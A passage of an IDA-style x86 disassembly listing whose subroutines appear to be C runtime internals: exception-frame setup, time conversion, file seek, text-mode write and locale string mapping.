; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBA08
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427910o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CFA4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2660000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D46C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D388
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D38C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D390


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCDA0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB958, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2760000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 2680867h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCCA0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB958, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCDA0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB958, 9
		mov	dword_4DB95C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2680867h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2680867h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB958, 1Ch
		mov	dword_4DB95C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427940
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA2C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA2C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB50C
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA2C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA2C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2801098h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA30
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA30, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D020
		mov	edx, dword_43D024
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CFB0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43D02C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D02C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
